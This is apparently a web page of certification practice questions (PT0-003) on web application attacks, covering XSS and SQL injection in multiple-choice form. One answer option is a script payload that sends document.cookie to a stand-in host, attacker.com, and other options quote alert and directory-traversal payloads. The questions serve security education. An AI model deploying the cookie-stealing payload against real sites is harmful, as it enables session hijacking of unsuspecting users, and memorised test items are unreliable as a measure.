Web Application Attacks PT0-003 Practice Questions (Page 1)

Questions 1–5

1. 1foundation · easy

   Which of the following is a common sign that a web application may be vulnerable to XSS?

   • AUser-supplied input is reflected in the page without proper output encoding.
   • BThe application uses a content delivery network (CDN) to serve static assets.
   • CThe application requires users to log in before accessing certain pages.
   • DThe application uses HTTPS and has a valid SSL certificate.
   Reveal Solution Discussion Select an answer first
2. 2application · medium

   A penetration tester discovers a comment section on a public blog that reflects user input without sanitization. The tester wants to steal the session cookies of other users. Which of the following payloads would be MOST effective for this purpose?

   • A`<script>new Image().src='http://attacker.com/steal?c='+document.cookie;</script>`
   • B`<iframe src='http://attacker.com'></iframe>`
   • C`<img src='javascript:alert(1)'>`
   • D`<script>alert('XSS');</script>`
   Reveal Solution Discussion Select an answer first
4. 3foundation · easy

   What is the primary goal of an attacker when exploiting a stored XSS vulnerability?

   • ATo cause a denial of service by overwhelming the server with requests.
   • BTo modify the web application's source code on the server.
   • CTo execute malicious scripts in the browsers of other users who view the affected page.
   • DTo gain direct access to the database server.
   Reveal Solution Discussion Select an answer first
5. 4foundation · easy

   Which of the following best describes how a classic SQL injection attack works?

   • AThe attacker submits input that is concatenated into a SQL query, altering its structure to change the intended behavior.
   • BThe attacker sends a specially crafted HTTP request that causes the server to execute arbitrary operating system commands.
   • CThe attacker intercepts and modifies the SQL query in transit between the client and the server.
   • DThe attacker exploits a buffer overflow in the web server to execute arbitrary code.
   Reveal Solution Discussion Select an answer first
6. 5application · medium

   A tester is mapping a web application's attack surface. While reviewing the source code, the tester finds a search function that directly concatenates the user's search term into a SQL query. Which of the following is the MOST appropriate next step to confirm the vulnerability?

   • ASubmit a `<script>alert(1)</script>` payload in the search field and observe if the script executes.
   • BEncode the search term using URL encoding and resubmit the original search.
   • CUse a directory traversal payload like `../../etc/passwd` in the search field.
   • DSubmit a single quote (`'`) in the search field and observe the application's response for a database error.
   Reveal Solution Discussion Select an answer first